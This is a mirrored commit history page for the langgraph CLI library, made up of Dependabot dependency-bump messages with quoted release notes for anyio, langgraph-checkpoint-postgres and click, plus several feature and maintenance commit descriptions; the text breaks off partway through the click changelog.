mirror of
https://github.com/langchain-ai/langgraph.git
synced 2026-09-20 16:47:55 +02:00
15851e40b1a450cd355acc962be7693d78432a34
102
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
b58044ac7a |
chore(deps): bump anyio from 4.13.0 to 4.14.2 in /libs/cli (#8998)
Bumps [anyio](https://github.com/agronholm/anyio) from 4.13.0 to 4.14.2. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/agronholm/anyio/releases">anyio's releases</a>.</em></p> <blockquote> <h2>4.14.2</h2> <ul> <li>Changed <code>ByteReceiveStream.receive()</code> implementations to raise a <code>ValueError</code> when <code>max_bytes</code> is not a positive integer (<a href="https://redirect.github.com/agronholm/anyio/pull/1191">#1191</a>)</li> <li>Fixed <code>CapacityLimiter.total_tokens</code> rejecting <code>float("inf")</code> when the limiter was instantiated outside of an event loop. The adapter setter checked for infinity by identity (<code>value is math.inf</code>), so only the exact <code>math.inf</code> singleton was accepted, while every backend setter (using <code>math.isinf()</code>) accepts any positive infinity (<a href="https://redirect.github.com/agronholm/anyio/pull/1189">#1189</a>; PR by <a href="https://github.com/greymoth-jp"><code>@greymoth-jp</code></a>).</li> <li>Fixed <code>to_process.run_sync()</code> deadlocking when the worker function writes enough data to <code>sys.stderr</code> to fill the (undrained) pipe buffer. The worker process now redirects <code>sys.stderr</code> to <code>os.devnull</code> as well, matching the documented behavior</li> <li>Fixed <code>TLSStream.wrap()</code> matching an internationalized (unicode) host name against the peer certificate using IDNA 2003 (via the standard library) instead of IDNA 2008, which could cause the host name to be matched against the wrong certificate (<a href="https://redirect.github.com/agronholm/anyio/pull/1208">#1208</a>)</li> <li>Fixed <code>anyio.open_process()</code> (and <code>run_process()</code>) ignoring the <code>extra_groups</code> argument, as it mistakenly passed the value of the <code>group</code> argument instead (<a href="https://redirect.github.com/agronholm/anyio/pull/1209">#1209</a>)</li> <li>Fixed <code>CapacityLimiter.acquire_nowait()</code> and <code>CapacityLimiter.acquire_nowait_on_behalf_of()</code> raising <code>trio.WouldBlock</code> instead of <code>anyio.WouldBlock</code> on the <code>trio</code> backend when there are no tokens available (<a href="https://redirect.github.com/agronholm/anyio/pull/1218">#1218</a>)</li> <li>Fixed <code>CapacityLimiter</code> on the asyncio backend over-granting tokens (<code>borrowed_tokens</code> exceeding <code>total_tokens</code> and <code>available_tokens</code> going negative) when a non-blocking acquire was made in the window between a token being released and the notified waiter resuming. The freed token is now reserved for the woken waiter right away, so the non-blocking acquire correctly raises <code>WouldBlock</code> (<a href="https://redirect.github.com/agronholm/anyio/issues/1170">#1170</a>; PR by <a href="https://github.com/gaoflow"><code>@gaoflow</code></a>)</li> <li>Fixed unnecessary CPU spin when delivering cancellation from <code>CancelScope</code> on asyncio under certain conditions, including improper cancel scope nesting (<a href="https://redirect.github.com/agronholm/anyio/issues/1111">#1111</a>)</li> </ul> <h2>4.14.1</h2> <ul> <li>Fixed teardown of higher-scoped async fixtures failing on asyncio with <code>RuntimeError: Attempted to exit cancel scope in a different task than it was entered in</code> when an async test raise an outcome exception (e.g., <code>pytest.skip()</code>, <code>pytest.xfail()</code>, or <code>pytest.fail()</code>) (<a href="https://redirect.github.com/agronholm/anyio/issues/1179">#1179</a>; PR by <a href="https://github.com/EmmanuelNiyonshuti"><code>@EmmanuelNiyonshuti</code></a>)</li> <li>Fixed <code>CapacityLimiter.total_tokens</code> rejecting a value of <code>0</code> when the limiter was instantiated outside of an event loop, contradicting the documented behavior of allowing 0 total tokens (<a href="https://redirect.github.com/agronholm/anyio/pull/1183">#1183</a>; PR by <a href="https://github.com/nyxst4ck"><code>@nyxst4ck</code></a>)</li> </ul> <h2>4.14.0</h2> <ul> <li> <p>Added support for Python 3.15</p> </li> <li> <p>Added an asynchronous implementation of the <code>itertools</code> module (<a href="https://redirect.github.com/agronholm/anyio/issues/998">#998</a>; PR by <a href="https://github.com/11kkw"><code>@11kkw</code></a>)</p> </li> <li> <p>Added the <code>local_port</code> parameter to <code>connect_tcp()</code> to allow binding to a specific local port before connecting (<a href="https://redirect.github.com/agronholm/anyio/issues/1067">#1067</a>; PR by <a href="https://github.com/nullwiz"><code>@nullwiz</code></a>)</p> </li> <li> <p>Added support for custom capacity limiters in async path and file I/O functions and classes</p> </li> <li> <p>Added the <code>create_task()</code> task group method for easier asyncio migration (returns a <code>TaskHandle</code>) (<a href="https://redirect.github.com/agronholm/anyio/pull/1098">#1098</a>)</p> </li> <li> <p>Changed <code>TaskGroup.start_soon()</code> to return a <code>TaskHandle</code></p> </li> <li> <p>Added an option for <code>TaskGroup.start()</code> to return a <code>TaskHandle</code> (which then contains the start value in the <code>start_value</code> property)</p> </li> <li> <p>Added the <code>cancel()</code> convenience method to <code>TaskGroup</code> as a shortcut for cancelling the task group's cancel scope</p> </li> <li> <p>Improved the error message when a known backend is not installed to suggest the install command (<a href="https://redirect.github.com/agronholm/anyio/pull/1115">#1115</a>; PR by <a href="https://github.com/EmmanuelNiyonshuti"><code>@EmmanuelNiyonshuti</code></a>)</p> </li> <li> <p>Improved <code>anyio.Path</code> to preserve subclass types by returning <code>Self</code> in methods that return path objects (<a href="https://redirect.github.com/agronholm/anyio/issues/1130">#1130</a>; PR by <a href="https://github.com/EmmanuelNiyonshuti"><code>@EmmanuelNiyonshuti</code></a>)</p> </li> <li> <p>Changed the parameter type annotation in <code>anyio.Path.write_bytes()</code> to accept any <code>ReadableBuffer</code>, thus allowing it to accept <code>bytearray</code> and <code>memoryview</code> to match <code>pathlib.Path.write_bytes()</code> (<a href="https://redirect.github.com/agronholm/anyio/issues/1135">#1135</a>; PR by <a href="https://github.com/SAY-5"><code>@SAY-5</code></a>)</p> </li> <li> <p>Changed several type annotations to only accept callables returning coroutine-like objects instead of arbitrary awaitables:</p> <ul> <li><code>TaskGroup.start_soon()</code></li> <li><code>TaskGroup.start()</code></li> <li><code>anyio.from_thread.run()</code></li> </ul> <p>This reverts an earlier change from v3.7.0 which was made in error. (<a href="https://redirect.github.com/agronholm/anyio/pull/1153">#1153</a>)</p> </li> <li> <p>Changed <code>anyio.run</code> to support callables returning arbitrary awaitables at runtime on all backends. Previously, this only worked on asyncio (<a href="https://redirect.github.com/agronholm/anyio/pull/1171">#1171</a>; PR by <a href="https://github.com/gschaffner"><code>@gschaffner</code></a>)</p> </li> <li> <p>Changed several classes (and their subclasses) to have <code>__slots__</code> (with <code>__weakref__</code>):</p> <ul> <li><code>anyio.CancelScope</code></li> </ul> </li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/agronholm/anyio/commit/c384f99687c64c59ed8a11c3a0f11a2d57daff71"><code>c384f99</code></a> Bumped up the version</li> <li><a href="https://github.com/agronholm/anyio/commit/dbba29d1ade7936f18fb71ba24aa92978673482a"><code>dbba29d</code></a> Fixed 100% CPU spin on cancel scope misuse (<a href="https://redirect.github.com/agronholm/anyio/issues/1217">#1217</a>)</li> <li><a href="https://github.com/agronholm/anyio/commit/6bbc6c33caabc13af5bc4256f745027cf8d5d7b8"><code>6bbc6c3</code></a> Fix CapacityLimiter over-granting tokens on asyncio (<a href="https://redirect.github.com/agronholm/anyio/issues/1172">#1172</a>)</li> <li><a href="https://github.com/agronholm/anyio/commit/6f82b2537cbbe98f3df3f295499056ab7de0b15b"><code>6f82b25</code></a> Refactored TestTLSStream.test_receive_invalid_max_bytes() to be less flaky</li> <li><a href="https://github.com/agronholm/anyio/commit/be24b0414f67f604bcbdd5ea3bcc56ab920d872e"><code>be24b04</code></a> Relaxed timeouts to fix test flakiness</li> <li><a href="https://github.com/agronholm/anyio/commit/81135065749b4f60c06619b9caaf0a11871c1ddf"><code>8113506</code></a> Fix test flakiness caused by slow callback duration logging</li> <li><a href="https://github.com/agronholm/anyio/commit/1e988b617b69588e33fecb75e36a9837245f562f"><code>1e988b6</code></a> Fixed CapacityLimiter raising trio.WouldBlock instead of anyio.WouldBlock (<a href="https://redirect.github.com/agronholm/anyio/issues/1">#1</a>...</li> <li><a href="https://github.com/agronholm/anyio/commit/44713f345cd29dd4e7d76553c134543a1296cc62"><code>44713f3</code></a> Pin setup-uv to a commit sha across downstream jobs (<a href="https://redirect.github.com/agronholm/anyio/issues/1213">#1213</a>)</li> <li><a href="https://github.com/agronholm/anyio/commit/f1b7301c8264b0d2e8d24a5788fd29e93dea4040"><code>f1b7301</code></a> Fixed stderr writes in a worker subprocess causing a deadlock (<a href="https://redirect.github.com/agronholm/anyio/issues/1207">#1207</a>)</li> <li><a href="https://github.com/agronholm/anyio/commit/212be93c2cf2c841e753e95e5e2c543ee7feca90"><code>212be93</code></a> Fix flaky test_tcp_listener_same_port using a hardcoded port (<a href="https://redirect.github.com/agronholm/anyio/issues/1206">#1206</a>)</li> <li>Additional commits viewable in <a href="https://github.com/agronholm/anyio/compare/4.13.0...4.14.2">compare view</a></li> </ul> </details> <br /> [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/langchain-ai/langgraph/network/alerts). </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> |
||
|
|
0199b519e1 |
fix(cli): clarify missing deploy config (#8854)
Shows an actionable, docs-linked error when `langgraph deploy` is run without a `langgraph.json` instead of exposing a traceback. |
||
|
|
f09cfe8ffc |
chore(deps): bump langgraph-checkpoint-postgres from 3.0.5 to 3.1.1 in /libs/cli/uv-examples/monorepo in the uv group across 1 directory (#8646)
Bumps the uv group with 1 update in the /libs/cli/uv-examples/monorepo directory: [langgraph-checkpoint-postgres](https://github.com/langchain-ai/langgraph). Updates `langgraph-checkpoint-postgres` from 3.0.5 to 3.1.1 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraph/releases">langgraph-checkpoint-postgres's releases</a>.</em></p> <blockquote> <h2>langgraph-checkpoint-postgres==3.1.1</h2> <p>Changes since checkpointpostgres==3.1.0</p> <ul> <li>release(checkpoint-postgres): 3.1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8480">#8480</a>)</li> <li>fix(checkpoint-postgres,checkpoint-sqlite): scope namespace matching to segment boundaries (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8478">#8478</a>)</li> <li>feat(checkpoint,checkpoint-postgres): add opt-in omit_expired to skip expired rows on read (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8354">#8354</a>)</li> <li>chore(deps): bump the minor-and-patch group in /libs/checkpoint-postgres with 5 updates (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8250">#8250</a>)</li> <li>chore(deps): bump langsmith from 0.8.0 to 0.8.18 in /libs/checkpoint-postgres (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8171">#8171</a>)</li> <li>docs: standardize package <code>README.md</code> structure (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8064">#8064</a>)</li> <li>chore: migrate Python type checking to ty (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8002">#8002</a>)</li> <li>chore(deps): bump the minor-and-patch group in /libs/checkpoint-postgres with 7 updates (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7965">#7965</a>)</li> <li>release(checkpoint): 4.1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7890">#7890</a>)</li> <li>chore(deps): bump idna from 3.11 to 3.15 in /libs/checkpoint-postgres (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7861">#7861</a>)</li> <li>chore(deps): bump langsmith from 0.7.31 to 0.8.0 in /libs/checkpoint-postgres (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7785">#7785</a>)</li> </ul> <h2>langgraph-checkpoint-sqlite==3.1.1</h2> <p>Changes since checkpointsqlite==3.1.0</p> <ul> <li>release(checkpoint-sqlite): 3.1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8481">#8481</a>)</li> <li>fix(checkpoint-postgres,checkpoint-sqlite): scope namespace matching to segment boundaries (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8478">#8478</a>)</li> <li>chore(deps): bump the minor-and-patch group in /libs/checkpoint-sqlite with 4 updates (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8249">#8249</a>)</li> <li>chore(deps): bump langsmith from 0.8.0 to 0.8.18 in /libs/checkpoint-sqlite (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8177">#8177</a>)</li> <li>docs: standardize package <code>README.md</code> structure (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8064">#8064</a>)</li> <li>chore: migrate Python type checking to ty (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8002">#8002</a>)</li> <li>chore(deps): bump the minor-and-patch group in /libs/checkpoint-sqlite with 3 updates (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7961">#7961</a>)</li> <li>release(checkpoint): 4.1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7890">#7890</a>)</li> <li>chore(deps): bump langsmith from 0.7.31 to 0.8.0 in /libs/checkpoint-sqlite (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7786">#7786</a>)</li> <li>chore(deps): bump idna from 3.11 to 3.15 in /libs/checkpoint-sqlite (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7862">#7862</a>)</li> </ul> <h2>langgraph-checkpoint-postgres==3.1.0</h2> <p>Changes since checkpointpostgres==3.1.0a4</p> <ul> <li>release: bump alpha packages to official versions (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7775">#7775</a>)</li> <li>chore(deps): bump urllib3 from 2.6.3 to 2.7.0 in /libs/checkpoint-postgres (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7761">#7761</a>)</li> <li>chore(deps): bump langchain-core from 1.3.2 to 1.3.3 in /libs/checkpoint-postgres (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7754">#7754</a>)</li> <li>fix(checkpoint-postgres): add column aliases to seed-blob branch of delta stage-2 UNION ALL (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7728">#7728</a>)</li> </ul> <h2>langgraph-checkpoint-sqlite==3.1.0</h2> <p>Changes since checkpointsqlite==3.1.0a1</p> <ul> <li>release: bump alpha packages to official versions (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7775">#7775</a>)</li> <li>chore(deps): bump urllib3 from 2.6.3 to 2.7.0 in /libs/checkpoint-sqlite (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7760">#7760</a>)</li> <li>chore(deps): bump langchain-core from 1.2.28 to 1.3.3 in /libs/checkpoint-sqlite (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7751">#7751</a>)</li> <li>chore: remove keepset helper (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7745">#7745</a>)</li> <li>chore(langgraph): add guide/conformance for delta channel checkpointer (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7736">#7736</a>)</li> </ul> <h2>langgraph-checkpoint-postgres==3.1.0a4</h2> <p>Changes since checkpointpostgres==3.1.0a3</p> <ul> <li>release: alpha bump (a4) for langgraph, checkpoint, checkpoint-postgres (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7701">#7701</a>)</li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langgraph/commit/b2926a0ff9589c28c7e01fe7cdbb337b86d5a4b4"><code>b2926a0</code></a> release(checkpoint-sqlite): 3.1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8481">#8481</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/fcdf520938469c8e0992ca2075d6a9582c33260f"><code>fcdf520</code></a> release(checkpoint-postgres): 3.1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8480">#8480</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/66ebe1a0da921e73f0f9f879ba105d314c079f7c"><code>66ebe1a</code></a> fix(checkpoint-postgres,checkpoint-sqlite): scope namespace matching to segme...</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/41341457342327166d72fc11952ab28fb61ec0bf"><code>4134145</code></a> release(langgraph): 1.2.10 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8462">#8462</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/30c4d58db86455128e42ddec96b1ba53c553ba22"><code>30c4d58</code></a> chore(deps): bump jupyterlab from 4.5.9 to 4.5.10 in /libs/langgraph (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8440">#8440</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/1f2f88b2b74aa4e26c6a8be877dcb95bad2cef48"><code>1f2f88b</code></a> chore(deps): bump js-yaml from 4.2.0 to 4.3.0 in /libs/cli/js-monorepo-exampl...</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/270820363d56cf8a8e594d2d3b19d543230337fb"><code>2708203</code></a> chore(deps): bump setuptools from 82.0.1 to 83.0.0 in /libs/cli (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8434">#8434</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/9f1e40bfeea28dee2155b4a57f5babd0a53534cf"><code>9f1e40b</code></a> chore(deps): bump setuptools from 80.9.0 to 83.0.0 in /libs/langgraph (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8435">#8435</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/1e1ca88dad9c7e708263257fa9fc27a3fbdfff68"><code>1e1ca88</code></a> feat(langgraph): type v3 stream_events return and native projections (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8389">#8389</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/31f90df3e6b0268fa77fd2d118a917d420b84a68"><code>31f90df</code></a> revert(langgraph): delete TracePolicy (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8403">#8403</a>)</li> <li>Additional commits viewable in <a href="https://github.com/langchain-ai/langgraph/compare/checkpointpostgres==3.0.5...checkpointsqlite==3.1.1">compare view</a></li> </ul> </details> <br /> [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/langchain-ai/langgraph/network/alerts). </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> |
||
|
|
ea5f9cc9fb |
chore: enforce PLC0415 in tests for the remaining packages (#8547)
Follow-up to #8540, which turned on `PLC0415` (import-outside-top-level) for checkpoint-postgres and checkpoint-sqlite. This does the remaining six packages: checkpoint, checkpoint-conformance, langgraph, prebuilt, cli, sdk-py. Scoped to tests, per @sydney-runkle's call on #8540: library code is exempted with `per-file-ignores`, since it still has deferred imports nobody has reviewed and mixing that in would make this hard to read. ## What changed Function-level imports across 56 test files moved to module level. Nine could not move and carry an explicit `# noqa: PLC0415` with a reason: | File | Why it stays local | |---|---| | `libs/langgraph/tests/test_deprecation.py` (4) | the import has to run inside `pytest.warns` for the warning to be observed | | `libs/langgraph/tests/test_serde_allowlist.py` | try/except guard, skips when langchain_core is absent | | `libs/langgraph/tests/test_delta_channel_benchmark.py` | optional psycopg probe | | `libs/checkpoint/tests/test_conformance_delta.py` (3) | protected by a module-level `pytest.importorskip`; hoisting past the guard turns a skip into a collection error | That last one is the trap: an import moved above `pytest.importorskip` silently defeats the guard. I hit it locally and it turned the skip into a `ModuleNotFoundError` at collection. Every file with an `importorskip` or `except ImportError` was checked by hand for this. ## Verification `make lint` and `make test` in each of the six: | Package | Tests | |---|---| | checkpoint | 156 passed, 17 skipped | | checkpoint-conformance | 1 passed | | langgraph | 1968 passed, 4 skipped | | prebuilt | 284 passed | | cli | 336 passed | | sdk-py | 493 passed | Also confirmed the rule actually fires: a throwaway test file with a function-level import is flagged in all six packages, and the source exemption holds. |
||
|
|
3df6f50ad5 |
feat(cli): allow prebuild images for langgraph deploy (#8100)
Fixes # adds a --image flag to `langgraph deploy`, allows a user to `langgraph build` a custom image and then deploy this specific image with `langgraph deploy`. --------- Co-authored-by: hari-dhanushkodi <203702815+hari-dhanushkodi@users.noreply.github.com> Co-authored-by: open-swe[bot] <open-swe@users.noreply.github.com> |
||
|
|
916025d2f6 |
feat(cli): support compatible api version ranges (#8023)
Adds `api_version` ranges for LangGraph API base image tags. `~=0.11.0.dev5` resolves to the newest matching compatible image while freezing later dev prereleases until rc/final/patch tags exist; `>~=0.11.0.dev5` uses the same floor but can also float to future stable releases while ignoring future prereleases. Verified with `make format`, `make lint`, and `make test` from `libs/cli`. --------- Signed-off-by: Connor Braa <cwlbraa@langchain.dev> |
||
|
|
e05ba2965d |
feat(cli): add support for passing certfile and cert key to run dev server under HTTPS (#8031)
This allows running the dev server under HTTPS, which is a requirement for running local server under Safari. |
||
|
|
2b1abc807b |
chore: migrate Python type checking to ty (#8002)
## Summary - replace Python lint type-checking from mypy to ty across LangGraph packages - remove mypy config/cache wiring and mypy-only references - regenerate uv locks with ty 0.0.43 ## Verification - git diff --check - make lint_package && make lint_tests in libs/langgraph - make lint_package && make lint_tests in libs/checkpoint - make lint_package && make lint_tests in libs/checkpoint-sqlite - make lint_package && make lint_tests in libs/checkpoint-postgres - make lint_package && make lint_tests in libs/prebuilt - make lint_package && make lint_tests in libs/cli - make lint in libs/sdk-py - make lint in libs/checkpoint-conformance --------- Co-authored-by: Claude <noreply@anthropic.com> Co-authored-by: open-swe[bot] <215916821+open-swe[bot]@users.noreply.github.com> |
||
|
|
43682f0830 |
chore(deps): bump the minor-and-patch group in /libs/cli with 4 updates (#7962)
Bumps the minor-and-patch group in /libs/cli with 4 updates: [click](https://github.com/pallets/click), [langgraph-sdk](https://github.com/langchain-ai/langgraph), [pytest-asyncio](https://github.com/pytest-dev/pytest-asyncio) and [ruff](https://github.com/astral-sh/ruff). Updates `click` from 8.3.3 to 8.4.1 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/pallets/click/releases">click's releases</a>.</em></p> <blockquote> <h2>8.4.1</h2> <p>This is the Click 8.4.1 fix release, which fixes bugs but does not otherwise change behavior and should not result in breaking changes compared to the latest feature release.</p> <p>PyPI: <a href="https://pypi.org/project/click/8.4.1/">https://pypi.org/project/click/8.4.1/</a> Changes: <a href="https://click.palletsprojects.com/page/changes/#version-8-4-1">https://click.palletsprojects.com/page/changes/#version-8-4-1</a> Milestone: <a href="https://github.com/pallets/click/milestone/32?closed=1">https://github.com/pallets/click/milestone/32?closed=1</a></p> <ul> <li><code>get_parameter_source()</code> is available during eager callbacks and type conversion again. <a href="https://redirect.github.com/pallets/click/issues/3458">#3458</a> <a href="https://redirect.github.com/pallets/click/issues/3484">#3484</a></li> <li>Zsh completion scripts parse correctly on Windows. <a href="https://redirect.github.com/pallets/click/issues/3277">#3277</a> # 3466</li> <li>Shell completion of <code>Choice</code> <code>Enum</code> values produces a valid completion result. <a href="https://redirect.github.com/pallets/click/issues/3015">#3015</a></li> <li>Fix empty byte-string handling in echo. <a href="https://redirect.github.com/pallets/click/issues/3487">#3487</a></li> <li>Fix closed file error with <code>echo_via_pager</code>. <a href="https://redirect.github.com/pallets/click/issues/3449">#3449</a></li> </ul> <h2>8.4.0</h2> <p>This is the Click 8.4.0 feature release. A feature release may include new features, remove previously deprecated code, add new deprecation, or introduce potentially breaking changes.</p> <p>We encourage everyone to upgrade. You can read more about our <a href="https://palletsprojects.com/versions">Version Support Policy</a> on our website.</p> <p>PyPI: <a href="https://pypi.org/project/click/8.4.0/">https://pypi.org/project/click/8.4.0/</a> Changes: <a href="https://click.palletsprojects.com/page/changes/#version-8-4-0">https://click.palletsprojects.com/page/changes/#version-8-4-0</a> Milestone <a href="https://github.com/pallets/click/milestone/30">https://github.com/pallets/click/milestone/30</a></p> <ul> <li> <p><code>ParamType</code> typing improvements. <a href="https://redirect.github.com/pallets/click/issues/3371">#3371</a></p> <ul> <li>:class:<code>ParamType</code> is now a generic abstract base class, parameterized by its converted value type.</li> <li>:meth:<code>~ParamType.convert</code> return types are narrowed on all concrete types (<code>str</code> for :class:<code>STRING</code>, <code>int</code> for :class:<code>INT</code>, etc.).</li> <li>:meth:<code>~ParamType.to_info_dict</code> returns specific :class:<code>~typing.TypedDict</code> subclasses instead of <code>dict[str, Any]</code>.</li> <li>:class:<code>CompositeParamType</code> and the number-range base are now generic with abstract methods.</li> </ul> </li> <li> <p>Refactor <code>convert_type</code> to extract type inference into a private <code>_guess_type</code> helper, and add :func:<code>typing.overload</code> signatures. <a href="https://redirect.github.com/pallets/click/issues/3372">#3372</a></p> </li> <li> <p><code>Parameter</code> typing improvements. <a href="https://redirect.github.com/pallets/click/issues/2805">#2805</a></p> <ul> <li>:class:<code>Parameter</code> is now an abstract base class, making explicit that it cannot be instantiated directly.</li> <li>:attr:<code>Parameter.name</code> is now <code>str</code> instead of <code>str | None</code>. When <code>expose_value=False</code>, the name is set to <code>""</code> instead of <code>None</code>.</li> <li>The <code>ctx</code> parameter of :meth:<code>Parameter.get_error_hint</code> is now typed as <code>Context | None</code>, matching the runtime behavior.</li> </ul> </li> <li> <p>Split string values from <code>default_map</code> for parameters with <code>nargs > 1</code> or :class:<code>Tuple</code> type, matching environment variable behavior.</p> </li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/pallets/click/blob/main/CHANGES.rst">click's changelog</a>.</em></p> <blockquote> <h2>Version 8.4.1</h2> <p>Released 2026-05-21</p> <ul> <li><code>get_parameter_source()</code> is available during eager callbacks and type conversion again. :issue:<code>3458</code> :issue:<code>3484</code></li> <li>Zsh completion scripts parse correctly on Windows. :issue:<code>3277</code> :pr:<code>3466</code></li> <li>Shell completion of <code>Choice</code> <code>Enum</code> values produces a valid completion result. :issue:<code>3015</code></li> <li>Fix empty byte-string handling in echo. :issue:<code>3487</code></li> <li>Fix closed file error with <code>echo_via_pager</code>. :issue:<code>3449</code></li> </ul> <h2>Version 8.4.0</h2> <p>Released 2026-05-17</p> <ul> <li> <p>:class:<code>ParamType</code> typing improvements. :pr:<code>3371</code></p> <ul> <li>:class:<code>ParamType</code> is now a generic abstract base class, parameterized by its converted value type.</li> <li>:meth:<code>~ParamType.convert</code> return types are narrowed on all concrete types (<code>str</code> for :class:<code>STRING</code>, <code>int</code> for :class:<code>INT</code>, etc.).</li> <li>:meth:<code>~ParamType.to_info_dict</code> returns specific :class:<code>~typing.TypedDict</code> subclasses instead of <code>dict[str, Any]</code>.</li> <li>:class:<code>CompositeParamType</code> and the number-range base are now generic with abstract methods.</li> </ul> </li> <li> <p>Refactor <code>convert_type</code> to extract type inference into a private <code>_guess_type</code> helper, and add :func:<code>typing.overload</code> signatures. :pr:<code>3372</code></p> </li> <li> <p>:class:<code>Parameter</code> typing improvements. :pr:<code>2805</code></p> <ul> <li>:class:<code>Parameter</code> is now an abstract base class, making explicit that it cannot be instantiated directly.</li> <li>:attr:<code>Parameter.name</code> is now <code>str</code> instead of <code>str | None</code>. When <code>expose_value=False</code>, the name is set to <code>""</code> instead of <code>None</code>.</li> <li>The <code>ctx</code> parameter of :meth:<code>Parameter.get_error_hint</code> is now typed as <code>Context | None</code>, matching the runtime behavior.</li> </ul> </li> <li> <p>Split string values from <code>default_map</code> for parameters with <code>nargs > 1</code> or :class:<code>Tuple</code> type, matching environment variable behavior. :issue:<code>2745</code> :pr:<code>3364</code></p> </li> <li> <p>Auto-detect <code>type=UNPROCESSED</code> for <code>flag_value</code> of non-basic types (not <code>str</code>, <code>int</code>, <code>float</code>, or <code>bool</code>), so programmer-provided Python objects like classes and enum members are passed through unchanged instead of being stringified. Previously <code>type=click.UNPROCESSED</code> had to be set explicitly. 